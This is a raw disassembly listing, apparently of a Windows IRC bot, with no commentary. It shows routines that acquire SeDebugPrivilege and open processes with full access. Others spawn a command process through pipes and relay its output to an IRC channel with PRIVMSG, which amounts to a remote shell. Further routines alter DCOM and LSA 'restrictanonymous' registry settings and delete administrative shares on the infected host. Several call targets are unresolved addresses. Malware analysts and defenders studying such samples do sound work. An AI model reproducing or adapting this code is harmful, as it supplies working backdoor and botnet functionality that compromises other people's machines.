		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h
		jmp	loc_4197DD
; ---------------------------------------------------------------------------

loc_41987A:				; CODE XREF: sub_4196BC+12Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4198C2

loc_41988F:				; CODE XREF: sub_4196BC+F5j
					; sub_4196BC+10Aj ...
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_8]
		call	dword_4D0738
		test	eax, eax
		jnz	loc_419780
		xor	ebx, ebx

loc_4198A9:				; CODE XREF: sub_4196BC+9Dj
					; sub_4196BC+B3j
		push	[ebp+var_8]
		call	esi

loc_4198AE:				; CODE XREF: sub_4196BC+77j
		push	ebx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419651
		pop	ecx
		pop	ecx

loc_4198BB:				; CODE XREF: sub_4196BC+3Aj
					; sub_4196BC+46j ...
		xor	eax, eax

loc_4198BD:				; CODE XREF: sub_4196BC+22Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_4198C2:				; CODE XREF: sub_4196BC+1D1j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi
		push	[ebp+var_8]
		mov	edi, eax
		call	esi
		push	0
		push	edi
		nop
		call	near ptr 2700A3Eh
		test	eax, eax
		jnz	short loc_4198E6
		push	edi
		call	esi
		jmp	short loc_4198BB
; ---------------------------------------------------------------------------

loc_4198E6:				; CODE XREF: sub_4196BC+223j
		push	1
		pop	eax
		jmp	short loc_4198BD
sub_4196BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4198EB	proc near		; DATA XREF: sub_401ACD+26CDo

var_298		= byte ptr -298h
var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 298h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		push	offset unk_43F178
		rep movsd
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_41B886
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_8], esi
		pop	ecx
		jnz	short loc_41994A
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_409A72
		add	esp, 14h

loc_41994A:				; CODE XREF: sub_4198EB+3Dj
		push	[ebp+var_10]
		lea	eax, [ebp+var_94]
		push	esi
		push	esi
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		call	sub_4196BC
		add	esp, 18h
		test	eax, eax
		jnz	short loc_419972
		push	offset unk_43F154
		jmp	short loc_419977
; ---------------------------------------------------------------------------

loc_419972:				; CODE XREF: sub_4198EB+7Ej
		push	offset unk_43F130

loc_419977:				; CODE XREF: sub_4198EB+85j
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_41B886
		cmp	[ebp+var_8], esi
		pop	ecx
		pop	ecx
		jnz	short loc_4199AA
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_409A72
		add	esp, 14h

loc_4199AA:				; CODE XREF: sub_4198EB+9Dj
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_4151AC
		push	[ebp+var_14]
		call	sub_40B412
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 26E0000h
		pop	edi
		pop	esi
sub_4198EB	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4199C9	proc near		; CODE XREF: sub_401ACD+78B3p
					; sub_40B231+53p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	1
		pop	edi
		push	[esp+8+arg_0]
		push	0
		push	1F0FFFh
		call	near ptr 26802E0h
		nop
		mov	esi, eax
		test	esi, esi
		jz	short loc_4199FB
		push	0
		push	esi
		nop
		call	near ptr 2700A3Eh
		test	eax, eax
		jnz	short loc_4199FB
		push	esi
		xor	edi, edi
		nop
		call	near ptr 26608ABh

loc_4199FB:				; CODE XREF: sub_4199C9+1Aj
					; sub_4199C9+27j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_4199C9	endp

; ---------------------------------------------------------------------------
dword_419A00	dd 6AF63356h, 56565601h, 0ADE85656h, 83FFFFFCh,	35FF18C4h
					; DATA XREF: ___:004015EEo
		dd 43EF74h, 65E2E890h, 0E3EB0226h

; =============== S U B	R O U T	I N E =======================================



sub_419A20	proc near		; CODE XREF: sub_419A50+2Ap
					; sub_419A88+7Ep ...
		mov	eax, dword_4E0AA8
		push	esi
		mov	esi, dword_427068
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419A34
		push	eax
		call	esi

loc_419A34:				; CODE XREF: sub_419A20+Fj
		mov	eax, dword_4E0AB0
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419A41
		push	eax
		call	esi

loc_419A41:				; CODE XREF: sub_419A20+1Cj
		mov	eax, dword_4E0AA4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419A4E
		push	eax
		call	esi

loc_419A4E:				; CODE XREF: sub_419A20+29j
		pop	esi
		retn
sub_419A20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419A50	proc near		; CODE XREF: sub_401ACD+7604p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_0]
		call	sub_41AFE0
		pop	ecx
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+var_4]
		push	0
		push	ecx
		push	eax
		push	[ebp+arg_0]
		push	dword_4E0AAC
		nop
		call	near ptr 26F0000h
		test	eax, eax
		jnz	short loc_419A83
		call	sub_419A20
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_419A83:				; CODE XREF: sub_419A50+28j
		push	1
		pop	eax
		leave
		retn
sub_419A50	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419A88	proc near		; CODE XREF: sub_419B0F+D3p
					; sub_419B0F+F2p ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	offset dword_4429D8
		push	[ebp+arg_4]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_419ACB
		push	7D0h
		nop
		call	near ptr 2680000h
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	offset aPrivmsgSS ; "PRIVMSG %s	:%s\r"
		push	eax
		call	sub_41B886
		add	esp, 10h
		jmp	short loc_419AE2
; ---------------------------------------------------------------------------

loc_419ACB:				; CODE XREF: sub_419A88+1Aj
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_419AE2:				; CODE XREF: sub_419A88+41j
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4D0874
		test	eax, eax
		jg	short loc_419B0B
		call	sub_419A20

loc_419B0B:				; CODE XREF: sub_419A88+7Cj
		xor	eax, eax
		leave
		retn
sub_419A88	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419B0F	proc near		; DATA XREF: sub_419C64+170o

var_20C		= byte ptr -20Ch
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 200h
		xor	edi, edi
		mov	ebx, offset dword_4E0AB4

loc_419B27:				; CODE XREF: sub_419B0F+79j
					; sub_419B0F+DBj
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	edi
		push	edi
		push	eax
		lea	eax, [ebp+var_20C]
		push	esi
		push	eax
		push	dword_4E0AA8
		nop
		call	near ptr 2840A57h
		test	eax, eax
		jz	loc_419BF5
		cmp	[ebp+var_4], edi
		jnz	short loc_419B8A
		lea	eax, [ebp+var_8]
		push	eax
		push	dword_4E0AA4
		nop
		call	near ptr 28405B5h
		test	eax, eax
		jz	short loc_419B80
		cmp	[ebp+var_8], 103h
		jnz	loc_419C19

loc_419B80:				; CODE XREF: sub_419B0F+62j
		push	0Ah
		nop
		call	near ptr 2680000h
		jmp	short loc_419B27
; ---------------------------------------------------------------------------

loc_419B8A:				; CODE XREF: sub_419B0F+4Ej
		xor	eax, eax
		cmp	[ebp+var_4], edi
		jbe	short loc_419BA1

loc_419B91:				; CODE XREF: sub_419B0F+90j
		cmp	[ebp+eax+var_20C], 0Ah
		jz	short loc_419BEF
		inc	eax
		cmp	eax, [ebp+var_4]
		jb	short loc_419B91

loc_419BA1:				; CODE XREF: sub_419B0F+80j
		mov	[ebp+var_4], esi

loc_419BA4:				; CODE XREF: sub_419B0F+E4j
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		push	[ebp+var_4]
		lea	eax, [ebp+var_20C]
		push	eax
		push	dword_4E0AA8
		nop
		call	near ptr 2700000h
		test	eax, eax
		jz	short loc_419C41
		lea	eax, [ebp+var_20C]
		push	eax
		push	ebx
		push	dword_4E0AE8
		call	sub_419A88
		add	esp, 0Ch
		jmp	loc_419B27
; ---------------------------------------------------------------------------

loc_419BEF:				; CODE XREF: sub_419B0F+8Aj
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_419BA4
; ---------------------------------------------------------------------------

loc_419BF5:				; CODE XREF: sub_419B0F+45j
		push	offset unk_43F200
		push	ebx
		push	dword_4E0AE8
		call	sub_419A88
		push	[ebp+arg_0]
		call	sub_40B412
		add	esp, 10h
		push	1
		call	near ptr 26E0000h
		nop

loc_419C19:				; CODE XREF: sub_419B0F+6Bj
		call	sub_419A20
		push	offset unk_43F1D8
		push	ebx
		push	dword_4E0AE8
		call	sub_419A88
		push	[ebp+arg_0]
		call	sub_40B412
		add	esp, 10h
		push	edi
		nop
		call	near ptr 26E0000h

loc_419C41:				; CODE XREF: sub_419B0F+C3j
		push	offset unk_43F1A8
		push	ebx
		push	dword_4E0AE8
		call	sub_419A88
		push	[ebp+arg_0]
		call	sub_40B412
		add	esp, 10h
		push	edi
		nop
		call	near ptr 26E0000h
sub_419B0F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419C64	proc near		; CODE XREF: sub_401ACD+2507p

var_378		= byte ptr -378h
var_178		= byte ptr -178h
var_74		= dword	ptr -74h
var_48		= dword	ptr -48h
var_44		= word ptr -44h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 378h
		push	ebx
		push	esi
		push	edi
		call	sub_419A20
		xor	esi, esi
		lea	eax, [ebp+var_178]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset dword_438E04
		push	esi
		call	dword_4D08E0
		test	eax, eax
		jz	loc_419D5E
		push	1
		lea	eax, [ebp+var_1C]
		pop	ebx
		mov	edi, dword_4270FC
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		mov	[ebp+var_1C], 0Ch
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		mov	[ebp+var_14], ebx
		mov	[ebp+var_18], esi
		call	edi
		test	eax, eax
		jz	loc_419D5E
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	edi
		test	eax, eax
		jz	loc_419D5E
		mov	edi, dword_4270F8
		push	3
		push	esi
		push	esi
		push	offset dword_4E0AAC
		call	edi
		push	eax
		push	[ebp+var_8]
		call	edi
		push	eax
		nop
		call	near ptr 2710000h
		test	eax, eax
		jz	short loc_419D5E
		push	10h
		lea	eax, [ebp+var_2C]
		push	esi
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp+var_74]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41B590
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_3C], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_38], eax
		mov	[ebp+var_34], eax
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_74], edi
		push	eax
		lea	eax, [ebp+var_74]
		push	eax
		push	esi
		push	esi
		push	esi
		push	ebx
		push	esi
		mov	ebx, offset dword_4429D8
		push	esi
		lea	eax, [ebp+var_178]
		push	ebx
		push	eax
		mov	[ebp+var_48], 101h
		mov	[ebp+var_44], si
		call	near ptr 2660C2Fh
		nop
		test	eax, eax
		jnz	short loc_419D66

loc_419D5E:				; CODE XREF: sub_419C64+2Fj
					; sub_419C64+5Cj ...
		or	eax, 0FFFFFFFFh
		jmp	loc_419E14
; ---------------------------------------------------------------------------

loc_419D66:				; CODE XREF: sub_419C64+F8j
		push	[ebp+var_4]
		mov	edi, dword_427068
		call	edi
		mov	eax, [ebp+var_10]
		push	[ebp+var_28]
		mov	dword_4E0AA8, eax
		mov	eax, [ebp+var_8]
		mov	dword_4E0AB0, eax
		mov	eax, [ebp+var_2C]
		mov	dword_4E0AA4, eax
		call	edi
		mov	eax, [ebp+arg_0]
		cmp	[ebp+arg_4], esi
		mov	dword_4E0AE8, eax
		jz	short loc_419DA0
		push	[ebp+arg_4]
		jmp	short loc_419DA1
; ---------------------------------------------------------------------------

loc_419DA0:				; CODE XREF: sub_419C64+135j
		push	ebx

loc_419DA1:				; CODE XREF: sub_419C64+13Aj
		push	offset dword_4E0AB4
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	esi
		push	0Ah
		push	offset unk_43F264
		call	sub_40B0F6
		mov	edi, eax
		mov	ecx, [ebp+var_24]
		imul	edi, 234h
		add	esp, 0Ch
		mov	dword_443768[edi], ecx
		lea	ecx, [ebp+var_30]
		push	ecx
		push	esi
		push	eax
		push	offset sub_419B0F
		push	esi
		push	esi
		nop
		call	near ptr 2680053h
		cmp	eax, esi
		mov	dword_443774[edi], eax
		jnz	short loc_419E12
		call	near ptr 268086Bh
		nop
		push	eax
		lea	eax, [ebp+var_378]
		push	offset unk_43F230
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_378]
		push	eax
		call	sub_4151AC
		add	esp, 10h

loc_419E12:				; CODE XREF: sub_419C64+185j
		xor	eax, eax

loc_419E14:				; CODE XREF: sub_419C64+FDj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_419C64	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E19	proc near		; DATA XREF: sub_401ACD+2E0Bo

var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		rep movsd
		pop	edi
		pop	esi
		push	[ebp+var_8]
		cmp	[ebp+var_10], 0
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_94]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		jz	short loc_419E60
		call	sub_419E79
		jmp	short loc_419E65
; ---------------------------------------------------------------------------

loc_419E60:				; CODE XREF: sub_419E19+3Ej
		call	sub_41A19D

loc_419E65:				; CODE XREF: sub_419E19+45j
		add	esp, 10h
		push	[ebp+var_14]
		call	sub_40B412
		pop	ecx
		push	0
		call	near ptr 26E0000h
		nop
sub_419E19	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E79	proc near		; CODE XREF: sub_419E19+40p

var_214		= byte ptr -214h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 214h
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_4D08F4, edi
		jnz	loc_419FAB
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	edi
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_4D0894
		test	eax, eax
		jnz	short loc_419F04
		mov	ax, word_43DFEC
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	edi
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_4D0848
		test	eax, eax
		jz	short loc_419EE6
		push	offset dword_43F500
		jmp	short loc_419EEB
; ---------------------------------------------------------------------------

loc_419EE6:				; CODE XREF: sub_419E79+64j
		push	offset dword_43F4E0

loc_419EEB:				; CODE XREF: sub_419E79+6Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4D0800
		jmp	short loc_419F17
; ---------------------------------------------------------------------------

loc_419F04:				; CODE XREF: sub_419E79+36j
		lea	eax, [ebp+var_214]
		push	offset dword_43F4B0
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_419F17:				; CODE XREF: sub_419E79+89j
		cmp	[ebp+arg_C], edi
		jnz	short loc_419F36
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_419F36:				; CODE XREF: sub_419E79+A1j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AC
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	edi
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_4D0894
		test	eax, eax
		jnz	short loc_419FA4
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	edi
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], 1
		call	dword_4D0848
		test	eax, eax
		jz	short loc_419F86
		push	offset dword_43F460
		jmp	short loc_419F8B
; ---------------------------------------------------------------------------

loc_419F86:				; CODE XREF: sub_419E79+104j
		push	offset dword_43F42C

loc_419F8B:				; CODE XREF: sub_419E79+10Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4D0800
		jmp	short loc_419FBE
; ---------------------------------------------------------------------------

loc_419FA4:				; CODE XREF: sub_419E79+E2j
		push	offset dword_43F3F0
		jmp	short loc_419FB0
; ---------------------------------------------------------------------------

loc_419FAB:				; CODE XREF: sub_419E79+13j
		push	offset dword_43F3C0

loc_419FB0:				; CODE XREF: sub_419E79+130j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_419FBE:				; CODE XREF: sub_419E79+129j
		cmp	[ebp+arg_C], edi
		jnz	short loc_419FDD
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_419FDD:				; CODE XREF: sub_419E79+148j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AC
		cmp	dword_4D091C, edi
		pop	ecx
		jnz	loc_41A158
		push	ebx
		mov	[ebp+var_4], edi
		mov	[ebp+var_14], edi
		mov	[ebp+var_C], edi

loc_41A000:				; CODE XREF: sub_419E79+2C3j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	edi
		call	dword_4D0768
		cmp	eax, edi
		mov	[ebp+var_10], eax
		jz	short loc_41A09D
		cmp	eax, 0EAh
		jz	short loc_41A09D
		mov	esi, offset off_43F288

loc_41A031:				; CODE XREF: sub_419E79+21Dj
		push	dword ptr [esi]
		push	edi
		call	sub_418C6B
		pop	ecx
		pop	ecx
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A048
		push	offset dword_43F39C
		jmp	short loc_41A04D
; ---------------------------------------------------------------------------

loc_41A048:				; CODE XREF: sub_419E79+1C6j
		push	offset dword_43F370

loc_41A04D:				; CODE XREF: sub_419E79+1CDj
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 10h
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A080
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_41A080:				; CODE XREF: sub_419E79+1EBj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AC
		add	esi, 8
		pop	ecx
		cmp	esi, offset off_43F2A8
		jb	short loc_41A031
		jmp	loc_41A135
; ---------------------------------------------------------------------------

loc_41A09D:				; CODE XREF: sub_419E79+1AAj
					; sub_419E79+1B1j
		mov	esi, [ebp+var_8]
		push	1
		pop	ebx
		cmp	[ebp+var_4], ebx
		jb	loc_41A12C

loc_41A0AC:				; CODE XREF: sub_419E79+2AFj
		mov	edi, [esi]
		push	edi
		call	sub_41D817
		cmp	word ptr [edi+eax*2-2],	24h
		pop	ecx
		jnz	short loc_41A121
		push	edi
		call	sub_418B58
		push	eax
		push	0
		call	sub_418C6B
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A0DB
		push	offset dword_43F34C
		jmp	short loc_41A0E0
; ---------------------------------------------------------------------------

loc_41A0DB:				; CODE XREF: sub_419E79+259j
		push	offset dword_43F320

loc_41A0E0:				; CODE XREF: sub_419E79+260j
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_41A114
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_41A114:				; CODE XREF: sub_419E79+27Fj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AC
		pop	ecx

loc_41A121:				; CODE XREF: sub_419E79+242j
		add	esi, 28h
		inc	ebx
		cmp	ebx, [ebp+var_4]
		jbe	short loc_41A0AC
		xor	edi, edi

loc_41A12C:				; CODE XREF: sub_419E79+22Dj
		push	[ebp+var_8]
		call	dword_4D08B4

loc_41A135:				; CODE XREF: sub_419E79+21Fj
		cmp	[ebp+var_10], 0EAh
		jz	loc_41A000
		lea	eax, [ebp+var_214]
		push	offset dword_43F2F8
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		pop	ebx
		jmp	short loc_41A16B
; ---------------------------------------------------------------------------

loc_41A158:				; CODE XREF: sub_419E79+177j
		lea	eax, [ebp+var_214]
		push	offset dword_43F2C8
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_41A16B:				; CODE XREF: sub_419E79+2DDj
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A189
		push	edi
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_41A189:				; CODE XREF: sub_419E79+2F5j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn
sub_419E79	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A19D	proc near		; CODE XREF: sub_419E19:loc_419E60p

var_220		= byte ptr -220h
var_20		= byte ptr -20h
var_14		= byte ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 220h
		push	ebx
		xor	ebx, ebx
		cmp	dword_4D08F4, ebx
		push	esi
		jnz	loc_41A2CB
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	ebx
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_4D0894
		test	eax, eax
		jnz	short loc_41A228
		mov	ax, word_43E030
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	ebx
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_4D0848
		test	eax, eax
		jz	short loc_41A20A
		push	offset dword_43F678
		jmp	short loc_41A20F
; ---------------------------------------------------------------------------

loc_41A20A:				; CODE XREF: sub_41A19D+64j
		push	offset dword_43F65C

loc_41A20F:				; CODE XREF: sub_41A19D+6Bj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4D0800
		jmp	short loc_41A23B
; ---------------------------------------------------------------------------

loc_41A228:				; CODE XREF: sub_41A19D+36j
		lea	eax, [ebp+var_220]
		push	offset dword_43F4B0
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_41A23B:				; CODE XREF: sub_41A19D+89j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A25A
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_41A25A:				; CODE XREF: sub_41A19D+A1j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AC
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	ebx
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_4D0894
		test	eax, eax
		jnz	short loc_41A2C4
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	ebx
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], ebx
		call	dword_4D0848
		test	eax, eax
		jz	short loc_41A2A6
		push	offset dword_43F61C
		jmp	short loc_41A2AB
; ---------------------------------------------------------------------------

loc_41A2A6:				; CODE XREF: sub_41A19D+100j
		push	offset dword_43F5E4

loc_41A2AB:				; CODE XREF: sub_41A19D+107j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4D0800
		jmp	short loc_41A2DE
; ---------------------------------------------------------------------------

loc_41A2C4:				; CODE XREF: sub_41A19D+E2j
		push	offset dword_43F5A8
		jmp	short loc_41A2D0
; ---------------------------------------------------------------------------

loc_41A2CB:				; CODE XREF: sub_41A19D+13j
		push	offset dword_43F3C0

loc_41A2D0:				; CODE XREF: sub_41A19D+12Cj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_41A2DE:				; CODE XREF: sub_41A19D+125j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A2FD
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_41A2FD:				; CODE XREF: sub_41A19D+144j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AC
		cmp	dword_4D091C, ebx
		pop	ecx
		jnz	loc_41A472
		push	edi
		mov	esi, offset off_43F288
		mov	edi, 200h

loc_41A321:				; CODE XREF: sub_41A19D+1E9j
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	ebx
		call	sub_418BBF
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A33C
		push	offset dword_43F588
		jmp	short loc_41A341
; ---------------------------------------------------------------------------

loc_41A33C:				; CODE XREF: sub_41A19D+196j
		push	offset dword_43F560

loc_41A341:				; CODE XREF: sub_41A19D+19Dj
		lea	eax, [ebp+var_220]
		push	edi
